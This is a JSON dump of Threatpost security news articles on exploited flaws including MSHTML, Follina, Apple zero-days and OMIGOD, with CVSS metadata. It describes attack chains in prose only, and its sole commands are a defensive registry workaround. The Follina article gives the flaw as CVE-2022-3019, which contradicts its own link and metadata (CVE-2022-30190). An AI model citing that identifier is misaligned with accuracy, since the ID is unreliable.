detection build 1.349.22.0 or newer and deploy it across their environments, the company added.\n\nWorkarounds for the flaw include disabling the installation of all ActiveX controls in Internet Explorer, which mitigates a potential attack, according to Microsoft.\n\n\u201cThis can be accomplished for all sites by updating the registry,\u201d the company said in its advisory. \u201cPreviously-installed ActiveX controls will continue to run, but do not expose this vulnerability.\u201d\n\nHowever, Microsoft warned organizations to take care when using the Registry Editor, because doing so incorrectly can \u201ccause serious problems that may require you to reinstall your operating system.\u201d \u201cUse Registry Editor at your own risk,\u201d the company advised.\n\n**It\u2019s time to evolve threat hunting into a pursuit of adversaries. **[**JOIN**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** Threatpost and Cybersixgill for **[**Threat Hunting to Catch Adversaries, Not Just Stop Attacks**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** and get a guided tour of the dark web and learn how to track threat actors before their next attack. **[**REGISTER NOW**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** for the LIVE discussion on Sept. 22 at 2 p.m. EST with Cybersixgill\u2019s Sumukh Tendulkar and Edan Cohen, along with independent researcher and vCISO Chris Roberts and Threatpost host Becky Bracken.**\n", "cvss3": {}, "published": "2021-09-08T12:24:51", "type": "threatpost", "title": "Microsoft, CISA Urge Mitigations for Zero-Day RCE Flaw in Windows", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-08T12:24:51", "id": "THREATPOST:62DC935BF4DB4EF8A4F1E83519B1D5CD", "href": "https://threatpost.com/microsoft-zero-day-rce-flaw-in-windows/169273/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2022-03-30T15:11:13", "description": "A [spearphishing](<https://threatpost.com/spearphishing-attack-spoofs-microsoft-office-365/162001/>) campaign targeting Russian citizens and government entities that are not aligned with the actions of the Russian government is the latest in numerous threats that have emerged since Russia invaded the Ukraine in February.\n\nResearchers from MalwareBytes identified a campaign last week that targets entities using websites, social networks, instant messengers and VPN services banned by the Kremlin, according [to a blog post](<https://blog.malwarebytes.com/threat-intelligence/2022/03/new-spear-phishing-campaign-targets-russian-dissidents/>) published Tuesday by Hossein Jazi, manager, threat intelligence analyst at MalwareBytes.\n\nTargets are receiving various emails that they will face charges due to this activity, with a lure to open a malicious attachment or link to find out more, Jazi wrote. The messages purport to be from the \u201cMinistry of Digital Development, Telecommunications and Mass Communications of the Russian Federation\u201d and the \u201cFederal Service for Supervision of Communications, Information Technology and Mass Communications,\u201d he said.\n\nMalwareBytes observed two documents associated with the campaign using the previously identified flaw [dubbed MSHTML](<https://threatpost.com/microsoft-mshtml-ryuk-ransomware/174780/>) and tracked as [CVE-2021-40444](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>). The flaw, which [has been patched](<https://threatpost.com/microsoft-patch-tuesday-exploited-windows-zero-day/169459/>), is a remote-code execution (RCE) vulnerability in Windows that allows attackers to craft malicious Microsoft Office documents.\n\n\u201cEven though CVE-2021-40444 has been used in a few attacks in the past, to the best of our knowledge this was the first time we observed an attacker use RTF files instead of Word documents to exploit this vulnerability,\u201d Jazi wrote.\n\nMoreover, the threat actor used a new variant of an MSHTML exploit called CABLESS in the campaign, researchers said. [Sophos](<https://news.sophos.com/en-us/2021/12/21/attackers-test-cab-less-40444-exploit-in-a-dry-run/>) previously reported an attack that used this variant; however, in that case the actor did not use an RTF file, Jazi observed in the post.\n\nThe campaign also deviates from most other cyber threats that have arisen since Russia invaded Ukraine on Feb. 24, which typically tend to attack [targets in Ukraine](<https://threatpost.com/destructive-wiper-organizations-ukraine/178937/>) or others sympathetic to the war-torn country\u2019s cause.\n\n## **Attack Sequence**\n\nResearchers intercepted a number of emails being used in campaigns, all of which are in the Russian language. One in particular that they observed is a letter to a target about limitation of access to the Telegram application in Russia, according to the post.\n\nThe email includes an RTF with an embedded url that downloads an HTML file that exploits the MSHTML bug, researchers said. The HTML file contains a script that executes the script in Windows Script Host (WSF) data embedded in the RTF file, which contains a JavaScript code that can be accessed from a remote location.\n\n\u201cIn this case, this data has been accessed using the downloaded HTML exploit file,\u201d Jazi explained. \u201cExecuting this script leads to spawning PowerShell to download a CobaltStrike beacon from the remote server and execute it on the victim\u2019s machine.\u201d\n\n## **Potentially CarbonSpider at Work?**\n\nResearchers are unsure who is behind the campaign but noted the similarity of the lure as one used before and linked to the threat group [CarbonSpider](<https://prod.adversary.crowdstrike.cloud.jam3.net/en-US/adversary/carbon-spider/>), which in the past has targeted Russian financial institutions.\n\nA previous CarbonSpider campaign also used an email template claiming to be from the Federal Service for Supervision of Communications, Information Technology and Mass Communications as a lure, according to the post. In that campaign, the threat actor deployed a PowerShell-based remote-access trojan (RAT) in an obfuscated PowerShell script that used a combination of Base64 and custom obfuscation, according to the post.\n\nHidden inside the script was a RAT that could move the attack to the next stage and execute various payloads, including a JavaScript, PowerShell, Executable or DLL.\n\n\u201cThis RAT starts its activity by setting up some configurations which include the [command-and-control, or C2] URL, intervals, debug mode and a parameter-named group that initialized with \u2018Madagascar\u2019 which probably is the alias of the threat actor,\u201d Jazi wrote.\n\nBased on MalwareBytes\u2019 observations of the domains targeted in the campaign, potential victims are from a number of regional and federal government organizations, including: the authorities of the Chuvash Republic Official internet portal; the Russian Ministry of Internal Affairs; the Ministry of Education and Science of the Republic of Altai; the Ministry of Education of the Stavropol Territory; the Minister of Education and Science of the Republic of North Ossetia-Alania; and the Ministry of Science and Higher Education of the Russian Federation.\n\n**_Moving to the cloud? Discover emerging cloud-security threats along with solid advice for how to defend your assets with our _**[**_FREE downloadable eBook_**](<https://bit.ly/3Jy6Bfs>)**_, \u201cCloud Security: The Forecast for 2022.\u201d_** **_We explore organizations\u2019 top risks and challenges, best practices for defense, and advice for security success in such a dynamic computing environment, including handy checklists._**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-03-30T13:13:49", "type": "threatpost", "title": "MSHTML Flaw Exploited to Attack Russian Dissidents", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444", "CVE-2021-44228"], "modified": "2022-03-30T13:13:49", "id": "THREATPOST:A98C64CB9BDDE55F51C984B749753904", "href": "https://threatpost.com/mshtml-flaw-exploited-to-attack-russian-dissidents/179150/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-18T14:56:17", "description": "Google\u2019s Threat Analysis Group (TAG) has provided a rare look inside the operations of a cybercriminal dubbed \u201cExotic Lily,\u201d that appears to serve as an initial-access broker for both Conti and Diavol ransomware gangs.\n\nResearchers\u2019 analysis exposes the business-like approach the group takes to brokering initial access into organizations\u2019 networks through a range of tactics so its partners can engage in further malicious activity.\n\nWhile ransomware actors tend to get most of the attention, they can\u2019t do their dirty work without first gaining access to an organization\u2019s network. This is often the job of what are called initial-access brokers (IABs), or \u201cthe opportunistic locksmiths of the security world,\u201d as Google TAG calls them in [a blog post](<https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/>) published Thursday.\n\n\u201cIt\u2019s a full-time job,\u201d Google TAG researchers Vlad Stolyarov and Benoit Sevens wrote in the post. \u201cThese groups specialize in breaching a target in order to open the doors \u2014 or the Windows \u2014 to the malicious actor with the highest bid.\u201d\n\nGoogle TAG first encountered Exotic Lily last September, when the group was doing just that \u2014 exploiting the [zero-day Microsoft flaw](<https://threatpost.com/microsoft-mshtml-ryuk-ransomware/174780/>) in MSHTML ([CVE-2021-40444](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>)) as part of what turned out to be a full-time IAB business \u201cclosely linked with data exfiltration and deployment of human-operated ransomware such as Conti and Diavol,\u201d researchers wrote.\n\nAt the peak of the group\u2019s activity, Exotic Lily \u2014 which researchers believe is working with the Russian cybercrime gang known as FIN12, [Wizard Spider](<https://threatpost.com/wizard-spider-upgrades-ryuk-ransomware/149853/>) or DEV-0413 \u2014 was sending more than 5,000 emails a day to as many as 650 targeted organizations globally, they said.\n\n\u201cUp until November 2021, the group seemed to be targeting specific industries such as IT, cybersecurity and healthcare, but as of late we have seen them attacking a wide variety of organizations and industries, with less specific focus,\u201d researchers wrote in the post.\n\n## **Soup to Nuts**\n\nExotic Lily works ostensibly as a full-time cybercrime business, which might be described as a \u201csoup to nuts\u201d organization if it were actually a legitimate company.\n\nThe group has maintained a \u201crelatively consistent attack chain\u201d during the time it was being tracked by researchers with its operators \u201cworking a fairly typical 9-to-5 job, with very little activity during the weekends,\u201d researchers wrote. Working hours indicated that the group is likely operating out of a Central or Eastern European time zone.\n\nThe group\u2019s tactics include initial activity to build fake online personas\u2014including social-media profiles with AI-generated photos\u2014that spoof both identities and company domains to ensure it appears as an authentic entity to its targets when carrying out phishing, researchers revealed.\n\nIn fact, in November, Google TAG observed the group impersonating real company employees by copying their personal data from social media and business databases such as RocketReach and CrunchBase.\n\n\u201cIn the majority of cases, a spoofed domain name was identical to a real domain name of an existing organization, with the only difference being a change of TLD to \u201c.us\u201d, \u201c.co\u201d or \u201c.biz,\u201d researchers wrote.\n\n## **Full-Time Phishing Business**\n\nWhile bug exploitation is part of its work as noted, Exotic Lily\u2019s main business operation is to use these spoofed email accounts to send [spear-phishing](<https://threatpost.com/spear-phishing-exploits-glitch-steal-credentials/176449/>) emails. They often purport to be a business proposal, such as seeking to outsource a software-development project or an information-security service.\n\nOne unique aspect of the group\u2019s method is to engage in more follow-up communications with targets than most cybercriminals behind phishing campaigns typically do, researchers observed. This activity includes operators\u2019 attempting to schedule a meeting to discuss a project\u2019s design or requirements or engaging in other communication to gain affinity and trust, they said.\n\nIn its final attack stage, Exotic Lily uploads an ultimate payload to a public file-sharing service such as TransferNow, TransferXL, WeTransfer or OneDrive, and then uses a built-in email notification feature to share the file with the target.\n\nThis tactic serves to help the group\u2019s malicious motives evade detection, as the final email originates from the email address of a legitimate file-sharing service and not the attacker\u2019s email, researchers noted.\n\n## **Payload Delivery**\n\nTypically, the actors upload another group\u2019s malware to the file-sharing service prior to sharing it with the target, researchers said. While some samples of malware appear custom, Google TAG doesn\u2019t think it\u2019s Exotic Lily who\u2019s developing these binaries.\n\nThough their first observation of the group was the use of documents exploiting the MSHTML bug, researchers later observed Exotic Lily changing its delivery tactics to use ISO archives that include shortcuts to the [BazarLoader dropper](<https://threatpost.com/bazarloader-malware-slack-basecamp/165455/>), according to the post.\n\nThis month, Google observed the group delivering ISO files with a custom loader that drops malware dubbed Bumblebee, which uses Windows Management Instrumentation (WMI) to collect various system details such as OS version, username and domain name. These details are then exfiltrated in JSON format to a command-and-control server (C2), researchers said.\n\nBumblebee also can execute commands and code from the C2, and in recent activity was seen fetching Cobalt Strike payloads to be executed on targeted systems, they added.\n\n**_Moving to the cloud? Discover emerging cloud-security threats along with solid advice for how to defend your assets with our _**[**_FREE downloadable eBook_**](<https://bit.ly/3Jy6Bfs>)**_, \u201cCloud Security: The Forecast for 2022.\u201d_** **_We explore organizations\u2019 top risks and challenges, best practices for defense, and advice for security success in such a dynamic computing environment, including handy checklists._**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-03-18T14:49:01", "type": "threatpost", "title": "Google Blows Lid Off Conti, Diavol Ransomware Access-Broker Ops", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444", "CVE-2021-44228"], "modified": "2022-03-18T14:49:01", "id": "THREATPOST:B2FEDF3EA50507F526C77105093E8977", "href": "https://threatpost.com/google-conti-diavol-ransomware-access-broker/178981/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-09-24T11:31:22", "description": "Apple has patched three actively exploited zero-day security vulnerabilities in updates to iOS and macOS, one of which can allow an attacker to execute arbitrary code with kernel privileges.\n\nApple released two updates on Thursday: iOS 12.5.5, which patches three zero-days that affect older versions of iPhone and iPod devices, and Security Update 2021-006 Catalina for macOS Catalina, which patches one of same vulnerabilities, CVE-2021-30869, that also affects macOS.\n\nThe XNU kernel vulnerability \u2014 the discovery of which was attributed to Google researchers Erye Hernandez and Clemente Lecigne of Google Threat Analysis Group and Ian Beer of Google Project Zero \u2014 is a type-confusion issue that Apple addressed with \u201cimproved state handling,\u201d according to [its advisory](<https://support.apple.com/en-us/HT212825>).\n\n\u201cA malicious application may be able to execute arbitrary code with kernel privileges,\u201d the company said. \u201cApple is aware of reports that an exploit for this issue exists in the wild.\u201d\n\nThe flaw also affects the WebKit browser engine, which is likely why [it caught the attention](<https://twitter.com/ShaneHuntley/status/1441102086385455112?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1441102086385455112%7Ctwgr%5E%7Ctwcon%5Es1_&ref_url=https%3A%2F%2Fwww.theregister.com%2F2021%2F09%2F24%2Fapple_zero_day%2F>) of the Google researchers. The issue affects macOS Catalina as well as iPhone 5s, iPhone 6, iPhone 6 Plus, iPad Air, iPad mini 2, iPad mini 3, and iPod touch (6th generation).\n\n## **Pegasus Zero-Day Patched for Older Devices**\n\nAnother zero-day flaw patched in the iOS update also affects WebKit on the same older iOS devices. The issue tracked as CVE-2021-30858 is described by Apple as a use-after-free issue that the company addressed with improved memory management. It allows an attacker to process maliciously crafted web content that may lead to arbitrary code execution, according [to Apple\u2019s advisory](<https://support.apple.com/en-us/HT212824>).\n\n\u201cApple is aware of a report that this issue may have been actively exploited,\u201d the company said.\n\nA third bug patched in the iOS update \u2014 a zero-click exploit discovered by Citizen Lab \u2014 already [made headlines](<https://threatpost.com/apple-emergency-fix-nso-zero-click-zero-day/169416/>) earlier this month when Apple issued a series of emergency patches on Sept. 13 for it to cover the latest devices running iOS and macOS.\n\nThe vulnerability allows for an attacker to process a maliciously crafted PDF that may lead to arbitrary code execution. The fix issued Thursday for the integer-overflow bug \u201cwas addressed with improved input validation,\u201d according to Apple, and covers older devices: iPhone 5s, iPhone 6, iPhone 6 Plus, iPad Air, iPad mini 2, iPad mini 3, and iPod touch (6th generation).\n\nCitizen Lab detected the flaw \u2014 tracked by Apple as CVE-2021-30860, a flaw in CoreGraphics \u2014 targeting iMessaging in August. Researchers dubbed it ForcedEntry and alleged that it had been used to illegally spy on Bahraini activists with [NSO Group\u2019s Pegasus spyware](<https://threatpost.com/nso-group-data-pegasus/167897/>).\n\n## **Keeping Up with 0-Days**\n\nThe latest Apple security updates come on the heels of [news earlier this week](<https://threatpost.com/unpatched-apple-zero-day-code-execution/174915/>) that it quietly slid out an incomplete patch for a zero-day vulnerability in its macOS Finder system \u2014 which hasn\u2019t fixed the problem yet. It could allow remote attackers to trick users into running arbitrary commands.\n\nIndeed Apple, like many other vendors, spends a lot of its time trying to keep up with security vulnerabilities\u2014something at which it \u201cdoes a great job,\u201d noted Hank Schless, senior manager of security solutions at endpoint-to-cloud security firm Lookout.\n\n\u201cEven though Apple has been in the news a number of times over these zero-day vulnerabilities, software developers everywhere run into vulnerabilities in their code,\u201d he observed in an email to Threatpost.\n\nHowever, these patches are worth nothing and corporate data is at risk if people don\u2019t update their mobile devices in particular, as soon as fixes for actively exploited flaws are available, Schless warned.\n\n\u201cPeople often ignore them until they\u2019re forced to update,\u201d he said. \u201cThis could be risky to an enterprise that allows its employees to access corporate resources from their mobile devices\u2026[which is] just about every enterprise out there.\u201d\n\n_**Rule #1 of Linux Security: **__No cybersecurity solution is viable if you don\u2019t have the basics down. [**JOIN**](<https://threatpost.com/webinars/4-golden-rules-linux-security/?utm_source=ART&utm_medium=ART&utm_campaign=September_Uptycs_Webinar>) Threatpost and Linux security pros at Uptycs for a LIVE roundtable on the [**4 Golden Rules of Linux Security**](<https://threatpost.com/webinars/4-golden-rules-linux-security/?utm_source=ART&utm_medium=ART&utm_campaign=September_Uptycs_Webinar>). Your top takeaway will be a Linux roadmap to getting the basics right! [**REGISTER NOW**](<https://threatpost.com/webinars/4-golden-rules-linux-security/?utm_source=ART&utm_medium=ART&utm_campaign=September_Uptycs_Webinar>) and join the **LIVE event on Sept. 29 at Noon EST**. Joining Threatpost is Uptycs\u2019 Ben Montour and Rishi Kant who will spell out Linux security best practices and take your most pressing questions in real time._\n", "cvss3": {}, "published": "2021-09-24T11:29:27", "type": "threatpost", "title": "Apple Patches 3 More Zero-Days Under Active Attack", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-30858", "CVE-2021-30860", "CVE-2021-30869"], "modified": "2021-09-24T11:29:27", "id": "THREATPOST:1A88FF1D2951B8467D062697D5D05CFA", "href": "https://threatpost.com/apple-patches-zero-days-attack/174988/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-06-02T16:46:30", "description": "Microsoft has released a workaround for [a zero-day flaw](<https://threatpost.com/zero-day-follina-bug-lays-older-microsoft-office-versions-open-to-attack/179756/>) that was initially flagged in April and that attackers already have used to target organizations in Russia and Tibet, researchers said.\n\nThe remote control execution (RCE) flaw, tracked as [CVE-2022-3019](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-30190>), is associated with the Microsoft Support Diagnostic Tool (MSDT), which, ironically, itself collects information about bugs in the company\u2019s products and reports to Microsoft Support.\n\n\u201cA remote code execution vulnerability exists when MSDT is called using the URL protocol from a calling application such as Word,\u201d Microsoft explained in [its guidance](<https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/>) on the Microsoft Security Response Center. \u201cAn attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling application.\u201d\n\nMicrosoft\u2019s workaround comes some six weeks after the vulnerability was apparently first identified. Researchers from [Shadow Chaser Group](<https://twitter.com/ShadowChasing1?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor>) noticed it on April 12 in [a bachelor\u2019s thesis from August 2020](<https://benjamin-altpeter.de/doc/thesis-electron.pdf>)\u2014with attackers apparently targeting Russian users\u2013and reported to Microsoft on April 21, according to research firm Recorded Future\u2019s [The Record](<https://therecord.media/microsoft-releases-guidance-for-office-zero-day-used-to-target-orgs-in-russia-india-tibet/>).\n\nA Malwarebytes Threat Intelligence analyst also spotted the flaw back in April but could not fully identify it, the company said [in a post on Twitter](<https://twitter.com/MBThreatIntel/status/1531398009103142912?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1531398009103142912%7Ctwgr%5E%7Ctwcon%5Es1_&ref_url=https%3A%2F%2Ftherecord.media%2Fmicrosoft-releases-guidance-for-office-zero-day-used-to-target-orgs-in-russia-india-tibet%2F>) over the weekend, retweeting the [original post](<https://twitter.com/h2jazi/status/1513870903590936586>) about the vulnerability, also made on April 12, from [@h2jazi](<https://twitter.com/h2jazi>).\n\nWhen the flaw was reported, Microsoft didn\u2019t consider it an issue. It\u2019s clear now that the company was wrong, and the vulnerability again raised the attention of researchers at Japanese security vendor Nao Sec, who[ tweeted a fresh warning](<https://twitter.com/nao_sec/status/1530196847679401984>) about it over the weekend, noting that it was being used to target users in Belarus.\n\nIn analysis over the weekend noted security researcher Kevin Beaumont [dubbed the vulnerability](<https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e>) \u201cFollina,\u201d explaining the zero-day code references the Italy-based area code of Follina \u2013 0438.\n\n## **Current Workaround**\n\nWhile no patch yet exists for the flaw, Microsoft is recommending that affected users disable the MSDT URL to mitigate it for now. This \u201cprevents troubleshooters being launched as links including links throughout the operating system,\u201d the company wrote in their advisory.\n\nTo do this, users must follow these steps: Run \u201c:**Command Prompt**** as Administrator****\u201c**; Back up the registry key by executing the command \u201creg export HKEY_CLASSES_ROOT\\ms-msdt _filename_\u201c; and execute the command \u201creg delete HKEY_CLASSES_ROOT\\ms-msdt /f\u201d.\n\n\u201cTroubleshooters can still be accessed using the [Get Help application](<https://apps.microsoft.com/store/detail/get-help/9PKDZBMV1H3T?hl=en-us&gl=US>) and in system settings as other or additional troubleshooters,\u201d the company said.\n\nMoreover, if the calling application is an Office app then by default, Office opens the document from the internet in Protected View and Application Guard for Office, \u201cboth of which prevent the current attack,\u201d Microsoft said. However, Beaumont refuted that assurance in his analysis of the bug.\n\nMicrosoft also plans to update CVE-2022-3019 with further information but did not specify when it would do so, according to the advisory.\n\n## **Significant Risk**\n\nIn the meantime, the unpatched flaw poses a significant risk for a number of reasons, Beaumont and other researchers noted.\n\nOne is that it affects such a wide swathe of users, given that it exists in all currently supported Windows versions and can be exploited via Microsoft Office versions 2013 through Office 2019, Office 2021, Office 365, and Office ProPlus.\n\n\u201cEvery organization that is dealing with content, files and in particular Office documents, which is basically everyone in the globe, is currently exposed to this threat,\u201d Aviv Grafi, CTO and founder of security firm [Votiro](<https://votiro.com/>), wrote in an e-mail to Threatpost.\n\nAnother reason the flaw poses a major threat is its execution without action from end users, both Beaumont and Grafi said. Once the HTML is loaded from the calling application, an MSDT scheme is used to execute a PowerShell code to run a malicious payload, Grafi explained.\n\nSince the flaw is abusing the remote template feature in Microsoft Word, it is not dependent on a typical macro-based exploit path, which are common within Office-based attacks, Beaumont said.\n\n\u201cWhat makes this vulnerability so difficult to avoid is the fact that the end user does not have to enable macros for the code to execute, making it a \u2018zero-click\u2019 remote code execution technique used through MSDT,\u201d Grafi concurred.\n\n## **Under Active Attack**\n\nClaire Tills, senior research engineer for security firm Tenable, compared the flaw to last year\u2019s zero-click [MSHTML bug](<https://threatpost.com/microsoft-zero-day-rce-flaw-in-windows/169273/>)**, **tracked as [CVE-2021-40444](<https://nvd.nist.gov/vuln/detail/CVE-2021-40444>), which was pummeled by attackers, including the [Ryuk ransomware gang](<https://threatpost.com/microsoft-mshtml-ryuk-ransomware/174780/>).\n\n\u201cGiven the similarities between CVE-2022-30190 and CVE-2021-40444, and that researchers speculate other protocol handlers may also be vulnerable, we expect to see further developments and exploitation attempts of this issue,\u201d she wrote in an e-mail to Threatpost.\n\nIndeed, threat actors already have pounced on the vulnerability. On Monday, Proofpoint Threat Insight also [tweeted](<https://twitter.com/threatinsight/status/1531688214993555457>) that threat actors were using the flaw to target organizations in Tibet by impersonating the \u201cWomen Empowerments Desk\u201d of the Central Tibetan Administration.\n\nWhat\u2019s more, the workaround that Microsoft currently offers itself has issues and won\u2019t provide much of a fix in the long-term, especially with the bug under attack, Grafi said. He said the workaround is\u201dnot friendly for admins\u201d because it involves \u201cchanges in the Registry of the end user\u2019s endpoints.\u201d\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-06-01T10:38:37", "type": "threatpost", "title": "Microsoft Releases Workaround for \u2018One-Click\u2019 0Day Under Active Attack", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444", "CVE-2022-3019", "CVE-2022-30190"], "modified": "2022-06-01T10:38:37", "id": "THREATPOST:4C8D995307A845304CF691725B2352A2", "href": "https://threatpost.com/microsoft-workaround-0day-attack/179776/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-09-16T15:56:08", "description": "Four Microsoft zero-day vulnerabilities in the Azure cloud platform\u2019s Open Management Infrastructure (OMI) \u2014 a software that many don\u2019t know is embedded in a host of services \u2014 show that OMI represents a significant security blind spot, researchers said.\n\nCollectively dubbed \u201cOMIGOD\u201d because of the name and the reaction of the researchers who discovered them, the flaws \u2014 which were zero-day when found \u2014 affect thousands of Azure customers and millions of endpoints, according to a [blog post](<https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution>) published this week by cloud infrastructure security firm Wiz.\n\nThough Microsoft patched them this week in its [monthly Patch Tuesday](<https://threatpost.com/microsoft-patch-tuesday-exploited-windows-zero-day/169459/>) raft of updates, their presence in OMI highlights the risk for the supply chain when companies unknowingly run code \u2014 particularly open-source code \u2014 on their systems that allows for exploitation, researchers said.\n\n[![Infosec Insiders Newsletter](https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/10165815/infosec_insiders_in_article_promo.png)](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nIndeed, recent high-profile supply-chain attacks such as [SolarWinds](<https://threatpost.com/solarwinds-attackers-dhs-emails/165110/>) and [Kaseya](<https://threatpost.com/kaseya-patches-zero-days-revil-attacks/167670/>) demonstrate how much damage can be done when undetected flaws in third-party software that organizations use in larger systems are exploited.\n\n\u201cOne of the biggest challenges in preventing them is that our digital supply chain is not transparent,\u201d senior security researcher Nir Ohfeld wrote in the Wiz post. \u201cIf you don\u2019t know what\u2019s hidden in the services and products you use every day, how can you manage the risk?\n\nIndeed, the OMIGOD vulnerabilities discovered by Ohfeld and his colleagues present a security danger to potentially millions of unsuspecting customers of cloud computing services, he said.\n\n\u201cIn a small sample of Azure tenants we analyzed, over 65 percent [of Azure customers] were unknowingly at risk,\u201d Ohfeld wrote.\n\nThe vulnerabilities that Wiz researchers discovered include one that allows for remote code execution (RCE), [CVE-2021-38647](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647>). The other three are privilege-escalation vulnerabilities ([CVE-2021-38648](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38648>), [CVE-2021-38645](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38645>) and [CVE-2021-38649)](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38649>) of lower risk but which are critical for a full attack chain.\n\n\u201cUnless a patch is applied, attackers can easily exploit these four vulnerabilities to escalate to root privileges and remotely execute malicious code (for instance, encrypting files for ransom),\u201d Ohfeld said.\n\n## **Hidden Cloud Security Danger in OMI**\n\nOne reason for the significant alarm over the flaws is that they are found in OMI, an agent automatically deployed when customers set up a Linux virtual machine (VM) in their cloud and enable certain Azure services, researchers explained.\n\n\u201cThis happens without customers\u2019 explicit consent or knowledge,\u201d Ohfeld wrote. \u201cUsers simply click \u2018agree\u2019 to log collection during setup, and they have unknowingly opted in.\u201d\n\nOMI is a perilous attack surface because Azure provides \u201cvirtually no public documentation\u201d about it, he said. That means most customers have never heard of it and are unaware that it even exists as an exploitable entity in their deployment.\n\nMoreover, the OMI agent runs as root with the highest privileges, so any user can communicate with it using a UNIX socket or via an HTTP API when configured to allow external access, Ohfeld explained.\n\n\u201cAs a result, the vulnerabilities we found would allow external users or low-privileged users to remotely execute code on target machines or escalate privileges,\u201d he wrote.\n\n## **\u2018Textbook RCE Vulnerability\u201d**\n\n** **[CVE-2021-38647](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647>), with a 9.8 severity rating, is the most serious of the flaws, allowing for RCE. However, for it to be exploited, the Azure product using OMI would have to be one, such as Configuration Management, that exposes an HTTPS port, or port 5986, for interacting with OMI.\n\n\u201cThat\u2019s what makes 